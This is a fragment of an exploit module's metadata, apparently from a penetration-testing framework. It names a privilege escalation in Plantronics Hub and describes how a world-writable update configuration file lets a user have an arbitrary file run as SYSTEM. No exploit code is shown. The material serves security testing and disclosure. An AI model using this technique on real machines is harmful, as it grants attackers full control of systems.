'Name' => 'Plantronics Hub SpokesUpdateService Privilege Escalation',
'Description' => %q{
The Plantronics Hub client application for Windows makes use of an
automatic update service `SpokesUpdateService.exe` which automatically
executes a file specified in the `MajorUpgrade.config` configuration
file as SYSTEM. The configuration file is writable by all users by default.
This module has been tested successfully on Plantronics Hub version 3.13.2
on Windows 7 SP1 (x64).
